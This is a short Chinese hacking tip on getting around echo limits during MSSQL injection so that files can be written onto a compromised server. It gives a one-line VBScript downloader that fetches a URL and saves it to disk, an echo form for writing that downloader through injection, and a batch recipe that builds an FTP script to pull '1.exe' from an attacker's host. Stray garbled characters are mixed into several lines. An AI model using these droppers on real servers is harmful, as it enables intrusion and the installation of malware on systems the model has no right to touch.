mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
. T+ ~! U# C/ ?& T2 z在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

) H0 h0 |( i! W9 tSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
# h, X" i  O( n# G* r0 O# P
" I+ ~' I2 m: E. [1 @这样我们可以一次echo成功,echo版本:
: J$ d$ t* u9 \$ S  {( x4 ^
2 r$ w4 X# H! ^- S# {+ A4 decho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
* u- L: K' u5 b- F$ S! f
0 {: g/ D% u9 m) u& Y- A+ e
2.bat调用ftp脚本的写法(by envymask)
/ V6 }4 h, h) P- u; Z' c" U% {2 |
echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
echo s&gt;4.vbs
  W% F5 d9 M  v( i# l% Zecho binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
: ?! o$ ^' `3 a& v9 j0 secho bay&gt;7.vbs
) B2 Y; h, @* c! W) K
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>